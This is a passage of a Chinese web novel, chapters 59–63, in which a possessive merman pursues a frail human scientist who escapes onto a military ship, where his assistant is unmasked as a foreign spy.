疾风吹过遗忘之地,落在遗骨尖端的黑鸟们纷纷飞起,盘旋在上空,凌厉地叫着。 “呜——呜——呜——” 它们的叫声像往赫瑞斯的心口撒上了一把盐。 苦涩又刺痛。 奇怪的感觉从胸口爬满了全身,密密麻麻。 它说不出来这叫什么,但这种感觉很难受。 它试图用蹼爪阻止这种感觉流窜全身,但尖锐的指甲抓破了胸膛也没能缓解。 心脏尖端上的疤痕又被抓开,淡蓝色的血液顺着它的蹼爪滑到肘关节,又坠落进水中。 它突然很想他,想回到他身边。 第60章 第 60 章 找到他,又弄丢他。…… 贝芙丽看到赫瑞斯的表情突然变得很恐怖, 一时以为自己说错话了。 可赫瑞斯并没有什么动作,贝芙丽又拿不准赫瑞斯究竟想干什么了,于是开始打量起周围。 贝芙丽判断出这里应当是遗忘之地。 它本来没有资格来这里, 能在这里怀揣记忆重生的人鱼都是珍贵的血脉。 而它只是普通的不能再普通的一只人鱼。 这次它能活回来,甚至让断臂重生, 都是托了晏越的福。 应当是赫瑞斯做了什么手脚, 不然周围的监管者不会同意。 贝芙丽还记得印象中那个头发柔软的年轻人类,说话总是淡淡的,像一阵风, 随时就散了。 他总是捂得严严实实的。 贝芙丽也只是偶然在他伸出胳膊时短了一节的袖口下,看到了一些可怖的疤痕。 狰狞丑陋的疤突兀地出现在瓷白的肌肤上,贝芙丽好奇多看了一眼,就被他不着痕迹地藏起来了。 其实贝芙丽对他的印象很好。 他并没有伤害它, 甚至没有用它做实验,给它注射那些瓶瓶罐罐的东西。 他最多只是带着一个文件夹, 站在玻璃后安静地观察着培养皿的生物。 它有时候会后悔当时凶了他, 还用并用信息素攻击他。 明明他看起来身体脆弱到轻轻一碰就碎了。 所以贝芙丽还是不想让赫瑞斯去报复他的。 “你能, 别去报复他吗?” 贝芙丽小心翼翼地问。 眼前的金尾人鱼半抬眸,深深的眼翳下藏着浓厚的情绪。 赫瑞斯问:“你怎么知道我要报复他?” 贝芙丽说:“因为人鱼是睚眦必报的种族, 这不你自己也是知道的, 所以你肯定觉得他骗了你, 就会报复他, 但是实际上, 他也不是故意这么做的。 它告诉赫瑞斯:“我听到那几个人类说,会有人来抓他,而且也是为了保护你,最后他才要走的。” “你看, 你也没受到什么伤害,他对你很好的。” 贝芙丽轻飘飘的话像刺一样,狠狠扎在赫瑞斯的心口。 连贝芙丽都认为它要报复晏越,那他又会怎么想。 贝芙丽看赫瑞斯没说话,以为自己说准了,“看吧,你就想报复他。” 说完,贝芙丽又环顾了四周,并没有看到晏越的身影,偷偷松了口气。 这一切动作都被赫瑞斯尽收眼底,它沉着脸拽着贝芙丽就走。 “我不要跟你一起去!” 赫瑞斯丝毫不顾贝芙丽的拒绝,它想让贝芙丽跟晏越解释,自己不是为了报复他。 可走出去没多久又后悔了。 万一贝芙丽跟他说了什么其他的呢? 岂不是让他更讨厌自己了。 于是它又把贝芙丽丢在遗忘之地。 临走前不忘恶狠狠威胁它:“如果被我发现你离开这里,我会扭断你的脖子。” 贝芙丽打了个冷颤,嘀咕怪不得晏越会离开呢。 就这样暴躁的人鱼,谁敢带在身边 很快,赫瑞斯回到了晏越所在的岛屿。 几只巨大的水母将岛屿围了起来,伸出触须阻挡它。 赫瑞斯阴沉着脸,[让开。] 这些是守卫海神岛屿的水母,它们已经禁止了赫瑞斯的进入,所以无论赫瑞斯说什么都不会散开。 长长的触须交叉织成了一张网,密不透风。 只要有生物想要越过这道防线,就会被电焦。 金尾人鱼眼底的暴戾倾泻出来,[连你们也要拦我?] 似乎全世界都在阻止它。 贝芙丽认为它找他是为了泄愤,海神让它的努力前功尽弃,弗洛狄说它一定会后悔,那只该死的小人鱼甚至诅咒它永远不会获得幸福。 但这些对它来说都无所谓。 它只要他在身边就好。 它已经做出了让步。 他不想变成人鱼,那就不变成人鱼,只要能还呆在自己身边就行。 像在忒亚时那样,它可以随时看到他。 看他全神贯注地看着自己的鱼尾,用温暖的手掌抚摸着它的耳鳍。 那时那双眼里只有自己。 赫瑞斯很喜欢这种感觉。 就像是 自己真正拥有了他一样。 守卫水母并没有说话,它们不会说话。 它们遵循海神的意志,阻挡这只暴怒到极点甚至近乎疯狂的人鱼。 但守卫水母并不能阻止这只强悍的人鱼闯入岛屿。 它们被撕的四分五裂,飘荡在海洋中。 赫瑞斯拽下身上还缠着的触须,触须黏连着皮肤被它狠厉地撕下来。 它的鱼尾上、胸膛上都是被烧焦的痕迹。 甚至一张妖冶俊美的脸颊都被伤到了。 简直是暴殄天物。 它感觉自己的侧脸有一道划伤,有些烦躁。 晏越对永生和力量没有渴求,那如果连这幅皮囊都不再具有诱惑力,到底怎样才能留下他。 这么想着,它有点后悔,刚才撕的块应该再大一些。 进入岛屿后,赫瑞斯找了很久,终于在一个礁石滩上看到了要找的人。 它斯几乎是下意识就想过去,可刚走出几米,突然停住了脚步。 晏越并没有发现它,在跟旁边的小人鱼说话。 不知道那条小人鱼在跟他说什么,他勾着唇角强颜欢笑。 可它连他强颜欢笑时的模样都很少见到。 赫瑞斯瞬间产生一种巨大的愤怒。 愤怒驱使着它立刻马上冲到他们面前,捏碎那只小人鱼,然后抓着他质问他为什么。 为什么宁愿对别人笑,也不愿意看它一眼。 它究竟哪里做的不够。 在这一刻它突然知道了,原来这种愤怒就是被人类叫做嫉妒的东西。 它嫉妒任何一只呆在他身边的生物,人类也好人鱼也罢,因为在它的思想里,晏越属于自己,就不该跟任何生物有多余的联系。 它足够强,强到可以在海底成为俯视众生的存在。 因此作为配偶的他不需要担心任何东西,只呆在自己身边就可以高枕无忧。 被嫉妒冲昏了脑袋的它想要当面质问他。 当然它也是这么做的。 紫尾小人鱼还在逗晏越笑,突然看到面前的人类笑容一僵,还没等反应过来就被甩出去好远。 它晕头晕脑的看到闯入的金尾人鱼,大喊:[你居然还敢回来!] 金尾人鱼回头狠狠地扫了它一眼,吓得它以为赫瑞斯就要冲上来了。 但赫瑞斯只低沉地骂了一句:[滚。] 小人鱼大哭着又跑走了。 赫瑞斯强忍怒火,才能让自己不对这只觊觎自己配偶的小东西出手。 毕竟晏越能这么跟它笑,肯定是还挺喜欢它的。 它现在不想惹怒他。 可一想到他对别人笑,赫瑞斯就感觉几乎要炸开了。 它贴在青年的膝头,蹼爪覆在他手背上。 像之前在忒亚时那样,用这种方式诱惑他放下防备。 但这次晏越偏开了头,还想抽回手,奈何手背被它压的死死的,最后索性不动了。 “为什么不说?”赫瑞斯问,“为什么不告诉我,你不是故意要丢下我的。” 晏越冷着一张脸,“不要自作多情,我说过了我只是利用你,救你也是为了你的血,我的任务完成了就会离开。” 赫瑞斯还记得他刚才对着那只小人鱼明明是笑的,可怎么到了这里,他又这么看它。 它沉了沉脸,但很快,又变脸似得继续蹭着他的膝头。 “我找到那只雌性人鱼了,它都告诉我了。” 晏越淡淡地回:“那又怎么样。” 他不想跟赫瑞斯多说什么。 因为他还记得自己被赫瑞斯粗暴地绑走,然后无比野蛮地喂他吃下奇怪的东西,一意孤行只想让他永远变成人鱼留在它身边。 他跟这样的赫瑞斯没话说。 赫瑞斯拿起他的手贴在自己的耳鳍上,蔚蓝色的瞳仁极尽诱惑。 但那双黑色的眼睛中像平静的一滩死水,无论它如何努力都没办法搅动半分。 它仍认为自己没错,并相信晏越现在这个态度只是因为时间太短了。 慢慢的,等到他周围的人都死净了,只剩下它一个,那时他就会正视自己了。 像是上天在嘲笑它的自大,它猛地注意到了晏越苍白的脸以及耳边微弱到几乎听不到的心跳声。 时间哪里有这么多。 它兴许等不到那一天,他就会再次离开自己。 然后重复上演现在的故事。 找到他,又弄丢他。 海洋这么大,这次找到他已经浪费了许多时间。 那下次呢? 晏越眼底的冷漠深深刺痛了它。 耳边的声音消失了,晏越等了许久没听到赫瑞斯说话,回头就看到它低下头埋在自己膝头。 他抽动了一下腿,没抽开。 “你快死了。” 赫瑞斯突然说。 晏越一愣,不知道它说这个是什么意思,皱着眉。 “我知道,但我对活着没有什么渴求,我只要做完自己要做的事就够了。” 赫瑞斯仍不死心,“如果你变成人鱼,跟我一样,会有近乎永生的寿命,那些可笑的事情对你来说根本不值一提。” 晏越用力甩开它的手,情绪因此而激烈。 “不要用你的想法定义我,这不一样。” 赫瑞斯猛拉住他,紧接着问他:“有什么不一样,你想要我的血我给你,你想要的不就是能抵御污染的方法吗,这不就是你想要的吗?” 它不解,晏越做这些不就是为了改变人类卑劣的基因,为什么还要费劲做中间无谓的努力呢? 它甚至直接给了他永恒的生命,只要他接受,那些问题将不会再让他苦恼。 “你想要什么我都会给你,你到底想要什么?” 晏越说:“放我离开。” 赫瑞斯几乎是下意识就驳回了他这个要求,“不可能。” 它无比明确地拒绝了他。 晏越深深的看着它,那个眼神让它居然有一丝慌乱。 他不再跟它多说一句话,背对着它离开了礁石滩进入了岛屿。 他不想在跟它呆在一个地方。 赫瑞斯看着他决绝的背影,更怀念起从前。 如果早知道是这样,它就应该一直骗他,这样起码他还不会这么看它。 明明人在身边,它却感觉他更远了。 60-70 第61章 第 61 章 快点离开,它会发现。…… 平静的海洋上, 一只灰色的圆脑袋一股一股往前涌。 在它身后的不远处是一艘小型船舰。 船上的霍尔发现烟灰蛸沉进了水底,连忙要追踪它的踪迹,却被莫里阻止了。 莫里说:“它应该是不允许继续我们跟着了。” 霍尔不解:“为什么, 明明跟下去就能找到晏越教授。” 莫里冲着海面抬了抬下巴,“看前面。” 鱼群将他们前进的路堵的严严实实, 水母也将这片海域塞得满满当当, 让他们寸步难行。 船的动力系统在此时报警,霍尔刚说完“动力不足?”就发现,不知道哪里来的一群章鱼牢牢吸附着船身, 这才让船无法前进。 霍尔叹了口气,跟下面的人说:“就地驻扎停留,注意观察动向!” 说完,他问莫里:“那只章鱼真的靠谱吗?” 莫里深深吸了一口烟, 烟灰缠绕在他的指尖。 最近这段时间他一直在马不停蹄寻找晏越的踪迹,晏越一个大活人就像凭空消失了一样, 及其诡异。 加上污染潮撤退后, 又要趁机在帝国内进行清洗势力, 他已经很久没好好睡觉了,全凭着烟和意志力吊着。 他又吸了一口, 将烟摁灭。 “它是唯一的线索, 况且他再不回来可能就看不到奥凯西最后一面了。” 前不久, 一只体型庞大的烟灰蛸凭空出现在帝国里, 在众目睽睽下挤进了谈寺的宿舍, 引起了躁动。 没人知道这只烟灰蛸做了什么,但很快谈寺托着它出来,急匆匆去了军部。 霍尔偷瞄了一眼撑着脑袋在出神的谈寺。 “但这样等下去也不是办法,难道等那只章鱼把教授带出来吗?” 突然, 一直愣神的谈寺猛地站了起来,语气焦急地问:“为什么停下了?” 看莫里没说话,霍尔告诉他:“再往前不能进入了,只能停在这里。” 谈寺听到不能前进,急了。 “怎么能停在这里,船进不去就潜进去,不能就这么停着啊!” 但莫里没动,霍尔只是无奈地看着他。 谈寺不敢想,那只人鱼带走晏越究竟会对晏越做什么。 它虎视眈眈的眼神仍历历在目。 “你们在等什么?!” 说罢谈寺冲了上来,怒不可遏地指责莫里,“当初帝国是派你来保护他,现在好不容易快找到他了,你又停在这里?” 霍尔微不可查地皱眉挡在莫里面前,说:“请冷静一下,现在船舶的动力系统出了问题,亚当斯上校也很想快点找到教授,但是首先要让围在周围的海洋生物分散开。” 谈寺冷冷地看了莫里一眼,径直走向操控台。 “阁下,你要去哪?” 霍尔生怕谈寺要做什么事。 谈寺在操控台控制了一些按钮,船舶水下的部分释放出刺激性气体,逼退鱼群和水母,生生开出一条路来。 只是这条路太窄了,船舰过不去。 做完这些事,他阴冷地觑了一眼莫里,用周围的人都能听到的声音说: “畏手畏脚的政客,永远不配成功。” 霍尔听后脸色大变,但谈寺不跟他们继续纠缠,拽着一个船员让他把摩托艇拿出来。 “谈寺阁下,前面不知道是什么,请不要质疑上校的命令。” 谈寺冷笑一声,说:“我自己去。” 看着谈寺离去的背景,霍尔问莫里怎么办。 莫里敛眸沉思。 刚才谈寺那无比熟练的操纵,实在让人难以忽视。 军舰上的操纵台,是一个普通研究人员可以如此熟练使用的吗? 他走到操纵台前,看着那些复杂又没有任何文字符号标注的按钮。 半晌,突然笑了一下。 霍尔不知道莫里在笑什么。 “有人真是好耐心,忍着下了这么长的一盘棋,但他估计自己都没想过” 只见年轻的上校潇洒利落地将散在眼前的头发捋到脑后,褐色的眸子里闪过狠厉的目光。 像是野兽捕到了猎物。 “棋子也有不受控制的一天。” 这几天,晏越一直留在岛屿上。 赫瑞斯每天都会来,但也只是遥遥看一眼,然后把捕来的食物放在石头上,呆一会儿就走。 晏越靠在沙滩的树旁,知道那边的动静,没搭它。 那些食物会被一动不动放置在石头上,直到第二天。 小人鱼看赫瑞斯日复一日的重复一件事,好奇地靠近,将那些东西拿过来给晏越看。 [这些东西我从没吃过诶。] 他扫了一眼,这些鱼虾和贝类不生长在这个温度的海域。 赫瑞斯每天为了这些东西应该费了不少劲。 小人鱼撬开一个贝壳递给他,却被他摇摇头拒绝。 [你不吃吗?不吃我可就吃啦。] 晏越勉强地笑了一下,让它自己吃。 小人鱼得到允许后,拿起那些从未见过的食物大快朵颐起来。 赫瑞斯第二天回来看到石头上的东西空了,甚至有些惊喜,以为是晏越吃掉了。 但很快,它看到礁石后面两眼冒精光的小人鱼,顿时明白发生了什么。 它森冷地扫了一眼小人鱼,吓得小人鱼缩了回去。 第二天石头上的东西就只少了一半。 赫瑞斯不知道那些东西有多少进了晏越的肚子。 他肉眼可见瘦了下来,所以它每天花很多时间去寻找更多晏越可能会吃的东西。 每次来的时候,他不是在看海就是在睡觉。 虽然它知道他在假寐,宁肯闭上眼也不愿意跟自己多说一句话。 它有些无措,不知道究竟怎么样才能让他改变对自己的看法。 但实际上答案它知道的,只是不愿意承认而已。 那天晏越正在看小人鱼围着自己的尾巴咬,突然看到了一个灰色的大团。 小人鱼也发现了那一团,好奇的游过去看,发现是一只烟灰蛸,扯着烟灰蛸的触手不让它走。 [不要拽我不要拽我!] 烟灰蛸扑腾半天,想要从小人鱼的魔爪中逃出来。 晏越认出烟灰蛸,站起来走到岸边。 小人鱼哇了一声,[你居然主动过来了。] 烟灰蛸看到晏越后像个小孩,扑到他的腿上哇哇大叫。 晏越无奈地摸摸它软软的脑袋,听它叽里咕噜一顿控诉。 “你说什么?” 在听到莫里他们跟着过来后,晏越又反问了一遍。 烟灰蛸说:[那个人类说要去找你,然后就跟着过来了,但是这附近他们进不来,所以还得妈妈自己走出去啦,怎么样我是不是很有用。] 晏越听到这个好消息终于松了口气,这些天憋的他都有些恍惚了。 这确实是好消息。 得到认可的烟灰蛸兴奋地围着他转圈圈。 [比坏人鱼有用多了,我是最棒的小章鱼!] 晏越终于见到希望,感觉轻松许多,难得被烟灰蛸逗笑了,抿着唇点头。 “嗯,你是最棒的小章鱼。” 烟灰蛸用刚生出来的腕足摸摸他的腿,[嘿嘿~] 晏越发现它那些被砍断的腕足已经重新长了出来,并且变得更粗壮。 甚至整个体型都比之前大了一圈。 现在它已经可以用一根曾经短小的腕足将他的腰缠一圈了。 但烟灰蛸还觉得自己还是小时候那样,蹭来蹭去。 这一幕放在别人眼里格外诡异,诡异到有些恐怖的地步。 比人半个身子大的烟灰蛸怪异地缠在人类的身边,可怖的粗壮腕足看起来能轻易扭断人的脖子。 但人类丝毫没怕,甚至还摸摸它的脑袋。 [妈妈,我们走吧!] 晏越“嗯”了一声,旁边的小人鱼发现他要离开,一把抓住他问:[你要走了吗?] 它瘪瘪嘴有些不开心,但知道自己留不住这个人类。 [你等等!] 它飞快去岛屿上摘了许多红果过来一股脑塞进他怀里。 红果太多噼里啪啦往水里掉,被烟灰蛸眼疾手快像耍杂技一样用许多腕足接住,[嘿嘿,接住了。] [我们还会再见吗?]小人鱼问。 晏越听到这句话,突然有一瞬的恍惚。 二十年前,他曾看到一条火焰色鱼尾的雌性人鱼,他问母亲: 他们还会再见吗。 她说:不会。长生种跟短生种的相遇,往往初见便是永别。 那时他还很遗憾。 可看到面前紫尾小人鱼期盼的眼神,他却告诉它:“会的。” 烟灰蛸带着晏越离开这里,在中途看到了谈寺。 谈寺大喜过望,把晏越从水里捞上来,烟灰蛸用大脑袋顶着他往上托。 谈寺把他拉上来,惊讶地发现晏越轻到不用太费劲就能提上来。 那只人鱼究竟让他吃了多少苦。 想到这里,谈寺对人鱼的憎恶感又加深了。 “你还好吗?”谈寺连忙问晏越。 晏越摆摆手,感觉自己晕乎乎的,“快点离开这里,它马上会发现的。” 谈寺知道他说的它是谁,沉着脸猛扭摩托艇的油门,载着晏越向回去的方向疾驰。 谈寺将摩托艇行驶到船边,霍尔在上面向晏越伸出手,将人从摩托艇上拉上来。 突然,所有人都听到了远方传来的一声刺耳的音波,刺到许多人耳朵开始流血。 海里有什么东西在飞速靠近,船上的人都紧张起来。 霍尔因为在这种声波下还在用力,脸憋的通红。 “晏!越!” 人鱼的声音愤怒无比,它大吼一声,俊美的脸因为怒火而显得阴森可怖。 船上的人惊慌地看着它,霍尔都偏头看了它一眼。 但唯独晏越没有,甚至在它呼唤他的名字后,坚定地握住了伸来的手,头也没回上了船。 “谈寺,上来!” 晏越和霍尔同时向谈寺伸出了手。 可谈寺非但没有拉住,相反,从兜里掏出一管早就准备好的药剂。 当着赫瑞斯的面,扎进了脖子里。 “我早就忍够了这只人鱼。” 说罢从摩托艇中拿出早就准备好的冲锋枪,并不准备放过它。 金尾人鱼一脸阴翳。 它冰冷的眸子盯着谈寺,似也早就等候多时了。 第62章 第 62 章 刀剑相向 船体突然一阵剧烈摇晃, 霍尔差点掉下去。 还是一旁的晏越眼疾手快把他拽了回来,这才让他免于被下面张着嘴的鲨鱼吞食的结局。 被拽上来的霍尔惊魂未定,呆呆的看着自己的手, 似乎还没反应过来。 晏越喊霍尔让他别发呆。 因为不断有向船靠近的海洋生物,有一些软体动物甚至在不断地爬上甲板, 拽上面的人类下水。 被拽下去的人类又会被下面等着的鱼群分食。 不知道究竟是因为人鱼的怒火, 还是因为他们停留在这里的时间太长而不满,它们开始攻击这艘船上的人类。 总之这里已经不能呆了。 烟灰蛸在水下飞快把往上爬的软体动物扯下去。 但奈何数量太多,烟灰蛸也应接不暇。 霍尔好歹也是经过训练的士兵, 马上冷静下来吩咐船上的人都拿起枪。 “把往上爬的东西都打下去!” 他一边喊,顺便拉了一把在船边差点被章鱼扯下去的士兵。 而那边的谈寺拿的枪是改良的,甚至连摩托艇都设置了自动巡航。 可想而知,他早有预料自己会跟赫瑞斯游有这么一战, 准备如此齐全。 暴怒的雄性人鱼潜入水下,快到无法精准捕捉它的位置, 摩托艇油门开到最大也只能看到它的尾巴。 子弹无力地打在水面上, 丁点都没打中人鱼。 谈寺迅速换弹, 却发现赫瑞斯已经潜的更深了,摩托艇追踪不到它的踪迹。 他大骂:“出来!别躲在水里面像只老鼠, 我忍你很久了!” 水下仍没有动静。 谈寺要气疯了, 对着水面疯狂开枪。 “出来啊!没良心的白眼狼, 亏他还费劲救你, 甚至放了你, 你居然这么对他!” “你这种卑鄙低劣的基因,就应该被抹杀!” 谈寺打空了一个又一个弹夹,打红了眼。 他只要想起晏越竭尽心血救它,但又被它反咬一口, 就为晏越不值,恨不得撕了这只人鱼。 它甚至把他偷偷带走了,让所有人一度以为晏越死在了污染潮里。 北野圭数次想要抹去他的名字,是他和另一个四席之一的研究人员据力争,以及莫里亚当斯费力用军部势力施加压力,才能让晏越的名字停留在研究院里。 但这只是短暂的。 一旦被确定为死亡,以后即便他回来,北野圭也有了正当由针对他。 最重要的是,他的所有成果都会被划上句号,剩下的也会被北野圭一派势力抢走。 五年、十年、十五年以后谁会记得他的名字。 最该被铭记的人反而被淡忘,所有努力和心血都付之一炬。 就像他的父母一样,不再被人提起。 “给我出来!” 谈寺怒不可遏,可赫瑞斯无论怎么骂也不出来,他就像一拳打在棉花上。 手上的枪是经过改良的,异常沉重,为的就是提高威力,保证在打中人鱼的时候确切地穿透它坚硬的鳞片。 为此,他甚至给自己注射了高浓度的肾上腺素。 什么都考虑到了,唯独没考虑过狡猾的人鱼居然不正面应战。 晏越还在船上翻找谈寺带来的药剂,霍尔一回头就看到人已经蹲着打空了好几管药剂,周围全是散落的空注射器。 霍尔急忙走过去想要阻止晏越,“你不要命了?!” 什么药也不能这个打法。 晏越什么也不顾了,他额角不断滴落冷汗,脸色苍白,一管一管不断打进身体里。 但身体并没有因此好转。 “怎么回事为什么” 他低声喃喃,似乎是有点不相信。 当一只手将手里的东西强行抢走时,他还有点恍惚。 他先看到了笔直的军服裤腿,然后缓缓抬头,看到了莫里。 莫里说:“够了。” 晏越这才注意到,谈寺带来的药剂已经被他打空了,莫里手里是最后一管。 按说即便是最后的阶段,这么多药也足够让状态稳定下来了。 可不断透明的手背肌肤证明,药剂没起到任何作用。 莫里难得看到一向冷静自持又镇定的人,眼中有一丝迷茫和疑惑。 他当然也看到了晏越的变化,只是没想到居然是这样。 他给霍尔一个眼神,让霍尔清退周围的士兵,丢给晏越一件大衣。 “不是药的问题。” 晏越猛地反应过来,自己这段时间一直呆在赫瑞斯身边,虽然身体状况摇摇欲坠,可病一直都没发作过。 现在离开赫瑞斯这才多久,他的病就开始复发了。 他神色复杂,披着大衣将身体盖的严严实实,看向海洋的方向。 是赫瑞斯在给他吊着命吗? 但这不过也只是延缓时间罢了。 突然,平静的水面起了一丝涟漪。 在所有人都没反应过来的时候,一道金色的影子破水而出,像一把锋利的金刀,在高空划出优美的弧线,水滴在空中折射出五彩的光芒。 金刀轻易在谈寺上空越了过去,下面的谈寺连忙开枪都没来得及打中,它甚至挑衅地在谈寺耳边说:“他是我的,你还不够格。” 莫里皱起眉,告诉晏越:“它压根就没想跟谈寺打,从刚开始它的目的就只有一个,那就是抓到你。” 莫里指着海域中不断向谈寺靠近的海洋生物,“它吸引谈寺的注意力就是为了让海洋生物拖住他的脚步。” 章鱼水母不断爬上谈寺的摩托艇,谈寺不得不分出精力打掉它们,摩托艇的速度自然慢了下来。 “现在是离开的最好时间,让谈寺吸引火力,但你也看到了,只要你离开这条人鱼,你的时间就在倒数。” 莫里的话清晰的落进耳朵里,晏越看到水中的金色影子正迅速向这里赶来。 “当然你也可以选择杀了它,虽然活下来的时间很短,但最起码这段时间完全可以自由支配,不必再担心这只人鱼会来找你。” “现在选择权交给你。” 这么说着,霍尔不知道从哪里拿来了一把狙击枪,还有一个箱子。 箱子里是两种药剂,一种是毒药,只要打中,再强的生物也会在一分钟内死去。 晏越敛眸看了一眼,拿了另一种药剂装在枪上交给霍尔。 霍尔拿到后没丝毫犹豫趴在甲板上。 此时赫瑞斯正好追上船舰,一跃而起,向晏越伸出蹼爪。 海水溅射到甲板上,巨大的影子盖住阳光,牢牢笼罩在晏越的上空。 像是牢笼,将这个人类严严实实的笼住了。 “砰!” 蹼爪在勾到晏越的半米距离停下了,巨大的人鱼狠狠砸落在甲板上,船猛烈摇晃,船上的士兵摔了一片。 它还保持着伸手的姿势,侧趴在晏越面前,紧闭双眸。 霍尔迅速抹了一把脸上的水,站起身。 莫里挑起眉看向晏越。 清瘦的青年语气平淡,“这两个我都不会选。” “我还有事没办完,它暂时不能死,既然只要我不在身边它就会一直追过来,那就把它锁住关在舱底,带去南极,每天注射麻醉,保证它醒不过来。” 他说着,蹲下身将赫瑞斯脖子上已经没用的皮质项圈拿下来。 “只要它的状态是稳定的,挡路的海洋生物自然会离开。” 果不其然,霍尔惊讶地发现,围在周围的海洋生物奇异地开始散去,扒在船体上的软体动物也纷纷坠入水中。 他不由得对甲板上昏迷的人鱼投向好奇的目光。 人鱼居然有可以控制海洋生物的能力吗? 莫里勾起嘴角,看着那瓶被晏越选择的强力麻醉剂,轻笑出声。 晏越永远都是晏越,永远都不会被打断骨头,即便再落魄也在隐忍着,等着东山再起的一天。 或许是因为他笑的太痛快,引得晏越疑惑地扫了他一眼。 莫里说:“没事,就是突然知道为什么当初你老师很严肃地跟我说,一定要保护你。” 晏越反问:“老师说过?” 莫里说:“是啊,你老师说,务必保证你的安全,你存在的意义远比想象中要重要。” 说到这里莫里不愿再多说下去,晏越也没心情追问。 他吩咐下去,务必要用最牢固的铁锁绑住赫瑞斯,即便有了麻醉药剂的支撑也不能放松警惕。 “学长!那只人鱼死了吗?” 谈寺不知道什么时候回来了,浑身都湿透了,脸上还带着笑。 但在看到人鱼还活着的下一瞬间就沉下了脸。 “为什么还要留下它,它明明” 说到这里,突然起了一阵风,谈寺看到晏越被风刮起的大衣下,身上斑驳的痕迹。 他怒不可遏,换了弹夹提着枪气势汹汹就向赫瑞斯走去。 “畜生,就不该留它。” “谈寺。” “谈寺!” 两个声音同时响起,一个是来自晏越,他微微皱着眉。 另一个则是一直沉默当旁观者的莫里亚当斯。 谈寺半抬眼,不爽地看向莫里。 亚当斯上校依旧是勾着唇角的模样,一双含情的桃花眼总会让人有一瞬间的迷惑,忘记这双眼睛的主人出自于掌管帝国命运的世家贵族。 “枪用的还挺熟练的,你应该会用的不止这一种枪械吧,连船舰操纵台上的功能都记得清清楚楚,如果只是用枪反而是屈才了。” 莫里一抬手,甲板上的士兵就将谈寺团团围住了。 晏越皱着眉看着这突发的一切,不知道为什么他们突然刀剑相向,但莫里的话说的清清楚楚,整个甲板上的人都能听清。 人群中的谈寺阴沉着一张脸,死死瞪着莫里。 晏越问:“谈寺,这究竟是怎么回事?” 谈寺没回答晏越,冲着莫里冷笑一声又换了弹夹,子弹噼里啪啦砸落在甲板上。 “谈寺!”晏越提高声音,想要制止谈寺的动作。 可谈寺依然不解释,只是对晏越说:“学长,相信我,我不会害你。” 第63章 第 63 章 别让它跑出来 谈寺语气坚定, 但霍尔依旧挡在莫里和晏越身前。 莫里冲着谈寺手里的枪努了努下巴,“手上的茧子不少,以前没少训练吧。” 一旁的晏越下意识看向谈寺的手。 谈寺不着痕迹将手心向后扣, 只把手背漏出来。 就在这时,一直插着兜站着的莫里猛地长腿一迈冲过去, 用膝盖狠狠砸向谈寺的太阳穴。 谈寺瞳孔一缩, 条件反射瞬间弯下腰躲过莫里的袭击,手里的枪正对着莫里的心脏处。 “砰!” 在混乱的局面中,清脆的枪声格外明显。 只是枪打中的并不是莫里的心脏, 他灰白色的军装依旧一丝不苟,连褶皱都没有一个。 一股脑涌上的士兵将谈寺压在甲板上,改良的枪被莫里踩着踢飞出去。 谈寺的右手破了个血洞,此时正在汩汩地冒血。 然后, 甲板上层跳下来一个人,将狙击枪收回后归队。 谈寺顿时知道, 莫里早就怀疑他了, 并且这人是早就安排藏好的, 只为了在这个时候攻击他。 他像穷凶恶极的狼,死死盯着莫里。 亚当斯少校面无表情还要补枪, 晏越皱着眉阻止了他, 看向谈寺的手。 这样就算恢复, 这手也要废了, 没办法再做精密的实验了。 手对于他们这种研究人员究竟有多重要, 晏越自然是知道的。 “莫里亚当斯少校。” 晏越难得叫了莫里的全名,莫里抬抬眼皮看向他。 “在真相还没水落石出之前,他的身份还是我的助手。” 莫里挑眉,利落地收回了枪, 耸耸肩向后退。 “那你来问。” 晏越走到谈寺身前,谈寺却不敢直视他,他只能蹲下来。 “我记得你是35届入学,你在学校的成绩很优秀,连续两年的绩点都是第一,进入帝国研究院的第二年就接手科研项目,发了不下十篇顶刊。” 晏越细数谈寺的经历,让本无言面对他的谈寺震惊的瞪大了双眼,扭头看过去。 谈寺不敢相信,晏越居然都记得,甚至记得比自己还清楚。 他本以为这些,晏越都不在乎。 因为这些对于晏越来说根本不值一提。 他也不奢求晏越能记得。 他早就想好了,就算哪天被发现也无所谓,只要能留到最后就很满意了。 反正他这种人在晏越的一生里本就不值得被记住,未来也会被遗忘。 他什么都想好了,说服自己继续走下去。 但唯独没想到,晏越偏偏记得,什么都知道。 这让谈寺本坚硬无比的心突然剧痛无比。 懊悔像刀一样将他一片片凌迟。 他辜负了晏越。 脸色苍白的青年蹲在面前,即便过了这么多年,还是记忆中的模样。 纵使现在再如何高的地位,这人还是那个会在医务室打吊瓶听医师唠叨而敷衍的学长。 谈寺死咬着牙,看向晏越眼中的光慢慢淡下去,但死握的拳头却缓慢松开了。 晏越并不着急,他让人拿来医疗物品,说:“手再不治,就废了。” 然后给压着谈寺的士兵使了个眼神,让他们松开。 他们看向莫里寻求意见,得到同意后纷纷松开了手。 谈寺慢慢撑着身体坐起来,接过来晏越递来的止血喷雾喷在手上。 “说吧,是北野圭吗?”莫里问。 谈寺又瞥了他一眼,冷笑一声。 “别把我跟北野圭那种垃圾混为一谈,他还不配。” 莫里点点头,“嗯,那就是反动派。” 谈寺“嗤”一声笑了。 莫里也懒得逗他玩了,“行了,到底谁派你来的。” 谈寺沉默片刻,莫里催促:“别以为拖一拖,晏越就能救你,不要浪费他对你的感情。” 谈寺冷冷地瞥了他一眼,最后开口说,“我不属于帝国任何势力”,然后看向东南的方向。 东南的方向是第三联盟. 莫里突然冲着晏越笑了一下,调侃道:“人要是太天才也不好,不仅自己这边的人惦记着,外面也有人惦记着,时时刻刻都想要你脑袋里那点东西。” “时间长了,呆在身边的究竟是人是鬼都不知道了。” 晏越还没说话,谈寺立马驳斥:“没有!我对天发誓,我没做过任何伤害他的事!” “但你辜负了他对你的信任。”莫里的脸沉下来。 谈寺无话可说了。 晏越不想在听他们吵架,开口问:“你是第三联盟的人?” 谈寺认命一样回答,“是,我出生在第三联盟,从小一直接受训练,但后来上面安排我来帝国,本来是要让我带你回去的。” 说罢,他又连忙跟晏越说:“但你相信我,我从没有要害你的想法,我跟上面说了,他们暂时改变了想法,所以我留在你身边只是为了保护你!” 莫里打断他:“你又是怎么能混进来的。” 谈寺极其不爽,“你能不能不要插嘴”,然后又说:“反动派一直想要跟上面合作,从内部分解帝国,但这么多年一直都没怎么谈拢,所以我的身份也是他们安排进来的,当然不止我一个人。” 莫里说:“叛国罪,看来北野圭他们的野心不小,他们还有没有什么跟你说的。” 谈寺摇头,“最近这几年他们跟上面谈崩了。” 